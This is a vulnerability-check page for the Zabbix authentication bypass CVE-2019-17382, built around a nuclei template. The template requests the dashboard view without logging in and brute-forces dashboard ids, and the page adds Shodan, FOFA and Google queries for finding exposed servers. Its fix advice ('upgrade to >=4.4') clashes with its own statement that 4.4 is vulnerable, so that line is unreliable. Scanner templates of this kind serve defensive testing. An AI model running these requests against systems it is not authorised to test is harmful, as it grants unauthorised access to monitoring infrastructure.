Zabbix <=4.4 - Authentication Bypass

criticalseverity

9.1CVSS score

53.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.

Impact

Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the Zabbix application.

Fix

Upgrade to a patched version of Zabbix (>=4.4) to mitigate this vulnerability.

How to confirm it

Send: GET {{path}}
Positive when: contains_any(tolower(body), "<title>warning [refreshed every", "zabbix-logo", "content=\"zabbix sia")
Send: GET {{path}}?action=dashboard.view&dashboardid={{ids}}
Positive when: contains "<title>Dashboard</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17382 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-17382

info:
  name: Zabbix <=4.4 - Authentication Bypass
  author: harshbothra_
  severity: critical
  description: Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the Zabbix application.
  remediation: |
    Upgrade to a patched version of Zabbix (>=4.4) to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47467
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17382
    - https://lists.debian.org/debian-lts-announce/2023/08/msg00027.html
    - https://github.com/huimzjty/vulwiki
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-17382
    cwe-id: CWE-639
    epss-score: 0.5322
    epss-percentile: 0.98989
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 100
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve2019,cve,auth-bypass,login,edb,zabbix,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /
        - /zabbix.php
        - /zabbix/zabbix.php

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "<title>warning [refreshed every", "zabbix-logo", "content=\"zabbix sia")'
        internal: true

  - raw:
      - |
        GET {{path}}?action=dashboard.view&dashboardid={{ids}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /zabbix.php
        - /zabbix/zabbix.php
      ids: helpers/wordlists/numbers.txt
    attack: clusterbomb

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<title>Dashboard</title>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from